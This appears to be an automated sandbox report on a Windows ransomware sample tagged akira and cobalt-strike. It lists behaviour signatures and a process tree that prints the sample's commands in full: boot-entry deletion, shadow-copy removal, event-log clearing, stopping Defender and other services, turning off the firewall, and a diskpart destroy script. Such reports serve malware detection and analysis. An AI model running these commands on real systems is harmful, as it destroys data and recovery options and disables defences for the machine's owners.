Analysis

  • max time kernel
    16s
  • max time network
    12s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 02:54

Errors

Reason
Machine shutdown

General

  • Target
    2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
  • Size 299KB
  • Sample260729-dd779sshpc
  • SHA256 cd905ad13683221a6f7b2de0ad3928e5a9d7a552117bd6cfc19662ebb19b9eeb
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Clears Windows event logs 1 TTPs 6 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
  • Modifies Windows Firewall 2 TTPs 3 IoCs
  • Disables service(s) 3 TTPs
  • Stops running service(s) 4 TTPs
  • Modifies boot configuration data using bcdedit 7 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 22 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 24 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-29_1b7188bccb194e8ab89da7673ca9e029_akira_cobalt-strike.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2748
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /delete {current} /f
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:4132
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /delete {bootmgr} /f
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:796
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /delete {memdiag} /f
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:4776
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /delete {fwbootmgr} /f
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:3592
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /delete {bootsectbak} /f
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:4176
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /createstore C:\Boot\BCD
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:5348
    • C:\Windows\SYSTEM32\bcdedit.exe
      bcdedit /createstore S:\EFI\Microsoft\Boot\BCD
      2⤵
      • Modifies boot configuration data using bcdedit
      PID:5244
    • C:\Windows\SYSTEM32\schtasks.exe
      schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /disable
      2⤵
        PID:4320
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /disable
        2⤵
          PID:4244
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /disable
          2⤵
            PID:2528
          • C:\Windows\SYSTEM32\schtasks.exe
            schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Verification" /disable
            2⤵
              PID:5484
            • C:\Windows\SYSTEM32\schtasks.exe
              schtasks /Change /TN "\Microsoft\Windows\RemovalTools\MRT_HB" /Disable
              2⤵
                PID:1520
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks /Delete /TN "\Microsoft\Windows\RemovalTools\MRT_HB" /F
                2⤵
                  PID:3352
                • C:\Windows\SYSTEM32\wevtutil.exe
                  wevtutil el
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3548
                • C:\Windows\SYSTEM32\sc.exe
                  sc stop WinDefend
                  2⤵
                  • Launches sc.exe
                  PID:1380
                • C:\Windows\SYSTEM32\netsh.exe
                  netsh advfirewall set domainprofile state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:2516
                • C:\Windows\SYSTEM32\reagentc.exe
                  reagentc /disable
                  2⤵
                  • Drops file in Windows directory
                  PID:300
                • C:\Windows\SYSTEM32\sc.exe
                  sc config WinDefend start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2848
                • C:\Windows\SYSTEM32\wevtutil.exe
                  wevtutil cl "System"
                  2⤵
                  • Clears Windows event logs
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5492
                • C:\Windows\SYSTEM32\sc.exe
                  sc stop WdNisSvc
                  2⤵
                  • Launches sc.exe
                  PID:5324
                • C:\Windows\SYSTEM32\sc.exe
                  sc config WdNisSvc start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:5564
                • C:\Windows\SYSTEM32\vssadmin.exe
                  vssadmin delete shadows /all /quiet
                  2⤵
                  • Interacts with shadow copies
                  PID:3028
                • C:\Windows\SYSTEM32\wevtutil.exe
                  wevtutil cl "Security"
                  2⤵
                  • Clears Windows event logs
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1452
                • C:\Windows\SYSTEM32\sc.exe
                  sc stop Sense
                  2⤵
                  • Launches sc.exe
                  PID:4564
                • C:\Windows\SYSTEM32\sc.exe
                  sc config Sense start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2512
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -command "Disable-ComputerRestore -Drive 'C:\'"
                  2⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5848
                • C:\Windows\SYSTEM32\wevtutil.exe
                  wevtutil cl "Application"
                  2⤵
                  • Clears Windows event logs
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3948
                • C:\Windows\SYSTEM32\sc.exe
                  sc stop SecurityHealthService
                  2⤵
                  • Launches sc.exe
                  PID:5760
                • C:\Windows\SYSTEM32\wevtutil.exe
                  wevtutil cl "Setup"
                  2⤵
                  • Clears Windows event logs
                  • Suspicious use of AdjustPrivilegeToken
                  PID:6020
                • C:\Windows\SYSTEM32\sc.exe
                  sc config SecurityHealthService start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:5624
                • C:\Windows\SYSTEM32\wevtutil.exe
                  wevtutil cl "Microsoft-Windows-Kernel-General/Operational"
                  2⤵
                  • Clears Windows event logs
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2100
                • C:\Windows\SYSTEM32\sc.exe
                  sc stop VSS
                  2⤵
                  • Launches sc.exe
                  PID:4760
                • C:\Windows\SYSTEM32\diskpart.exe
                  diskpart /s C:\Users\Admin\AppData\Local\Temp\\dp_destroy.txt
                  2⤵
                    PID:3588
                  • C:\Windows\SYSTEM32\sc.exe
                    sc config VSS start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:2452
                  • C:\Windows\SYSTEM32\wevtutil.exe
                    wevtutil cl "Microsoft-Windows-PowerShell/Operational"
                    2⤵
                    • Clears Windows event logs
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1372
                  • C:\Windows\SYSTEM32\sc.exe
                    sc stop swprv
                    2⤵
                    • Launches sc.exe
                    PID:2332
                  • C:\Windows\SYSTEM32\netsh.exe
                    netsh advfirewall set privateprofile state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4480
                  • C:\Windows\SYSTEM32\sc.exe
                    sc config swprv start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:3988
                  • C:\Windows\SYSTEM32\sc.exe
                    sc stop WSearch
                    2⤵
                    • Launches sc.exe
                    PID:3364
                  • C:\Windows\SYSTEM32\sc.exe
                    sc config WSearch start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:4708
                  • C:\Windows\SYSTEM32\sc.exe
                    sc stop wscsvc
                    2⤵
                    • Launches sc.exe
                    PID:4632
                  • C:\Windows\SYSTEM32\sc.exe
                    sc config wscsvc start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:2740
                  • C:\Windows\SYSTEM32\sc.exe
                    sc stop WerSvc
                    2⤵
                    • Launches sc.exe
                    PID:2372
                  • C:\Windows\SYSTEM32\sc.exe
                    sc config WerSvc start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:4832
                  • C:\Windows\SYSTEM32\sc.exe
                    sc stop BITS
                    2⤵
                    • Launches sc.exe
                    PID:6104
                  • C:\Windows\SYSTEM32\sc.exe
                    sc config BITS start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:4676
                  • C:\Windows\SYSTEM32\sc.exe
                    sc stop wuauserv
                    2⤵
                    • Launches sc.exe
                    PID:5936
                  • C:\Windows\SYSTEM32\sc.exe
                    sc config wuauserv start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:4288
                  • C:\Windows\SYSTEM32\sc.exe
                    sc stop TrustedInstaller
                    2⤵
                    • Launches sc.exe
                    PID:4576
                  • C:\Windows\SYSTEM32\sc.exe
                    sc config TrustedInstaller start= disabled
                    2⤵
                    • Launches sc.exe
                    PID:5748
                  • C:\Windows\SYSTEM32\netsh.exe
                    netsh advfirewall set publicprofile state off
                    2⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4956
                • C:\Windows\System32\vdsldr.exe
                  C:\Windows\System32\vdsldr.exe -Embedding
                  1⤵
                    PID:2328
                  • C:\Windows\System32\vds.exe
                    C:\Windows\System32\vds.exe
                    1⤵
                    • Writes to the Master Boot Record (MBR)
                    • Checks SCSI registry key(s)
                    PID:1124

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        dp_destroy.txt

                        • Path C:\Users\Admin\AppData\Local\Temp\dp_destroy.txt
                        • Size 108B
                        • SHA256 2d6361cd6270b4050e7a9ae90502933e915df01efb054808b68646dd5ae00b83
                        • MD5 SHA1 SHA512 TLSH

                        hive_SAM

                        • Path C:\Users\Admin\AppData\Local\Temp\hive_SAM
                        • Size 4KB
                        • SHA256 ad7facb2586fc6e966c004d7d1d16b024f5805ff7cb47c7a85dabd8b48892ca7
                        • MD5 SHA1 SHA512

                        debug_ntfs.txt

                        • Path C:\debug_ntfs.txt
                        • Size 4B
                        • SHA256 b5bea41b6c623f7c09f1bf24dcae58ebab3c0cdd90ad966bc43a45b44867e12b
                        • MD5 SHA1 SHA512

                        memory/2748-74-0x00007FF7757B0000-0x00007FF775801000-memory.dmp

                        memory/5848-69-0x000002277A880000-0x000002277A8A2000-memory.dmp